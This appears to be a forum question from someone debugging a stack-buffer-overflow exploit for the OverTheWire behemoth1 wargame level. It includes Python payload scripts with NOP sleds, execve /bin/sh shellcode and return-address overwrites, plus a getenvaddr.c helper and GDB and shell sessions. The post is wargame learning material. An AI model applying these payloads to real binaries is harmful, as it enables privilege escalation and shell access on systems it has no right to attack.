I already tried various solutions provided to other "exploit doesn't work outside gdb" questions (r.sh, invoke.sh, removing environment variables) and at this point I legit have no idea why the exploit does not work (behemoth1 on overthewire wargames). The vulnerability in this level is supposed to be a simple stack overflow, to redirect code execution, spawn a shell and dump the password for the next user.
Inside of GDB:
behemoth1@melinda:/tmp/halp_bh$ gdb -q -iex "set auto-load safe-path /" /behemoth/behemoth1
gdb-peda$ unset env
gdb-peda$ ! ./01.py > exploit_dump.hex
gdb-peda$ r < exploit_dump.hex
Starting program: /games/behemoth/behemoth1 < exploit_dump.hex
Password: Authentication failure.
Sorry.
process 17264 is executing new program: /bin/dash
[Inferior 1 (process 17264) exited normally]
Warning: not running or target is remote
gdb-peda$
Outside of GDB (I also made sure to use the same calling strings):
behemoth1@melinda:/tmp/halp_bh$ ./01.py | env - /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
The exploit code
#!/usr/bin/env python
from struct import pack
def _pack(arg):
return pack('<I', arg)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = ''
payload += '\x90' * 28
payload += shellcode # 23
payload += '\x90' * 28
payload += _pack(0xffffde00)
print payload
EDIT 1: The stack is RWE
behemoth1@melinda:~$ readelf -l /behemoth/behemoth1
Elf file type is EXEC (Executable file)
Entry point 0x8048360
There are 8 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
.
.
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
EDIT 2: The exploit doesn't work even with an environment variable
behemoth1@melinda:/tmp/halp_bh$ export SC="\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x 01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x54\x72\x79\x20\x68\x61\x72\x64\x65\x72"
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr SC /behemoth/behemoth1
SC will be at 0xffffde62
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ (cat exploit_dump.txt ; cat) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
Segmentation fault
New 01.py:
#!/usr/bin/env python
from struct import pack
def _pack(arg):
return pack('<I', arg)
payload = ''
payload += '\x41' * 79
payload += _pack(0xffffde62)
print payload
EDIT 3: A 0x10000 byte nopsled still segfaults.This is getting ridiculous...
behemoth1@melinda:/tmp/halp_bh$ env | grep SC
SC=\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
LESSCLOSE=/usr/bin/lesspipe %s %s
behemoth1@melinda:/tmp/halp_bh$ export A=$(python -c "print '\x90'*0x10000")$SC
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr A /behemoth/behemoth1
A will be at 0xfffed7f6
# 0xfffed7f6 + 0x800 = 0xfffedff6
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ cat exploit_dump.txt | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$
01.py
#!/usr/bin/env python
from struct import pack
def _pack(arg):
return pack('<I', arg)
payload = ''
payload += '\x41' * 79
# payload += _pack(0xffff58cd)
# 0xfffedff6
payload += '\xf6\xdf\xfe\xff'
print payload
getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}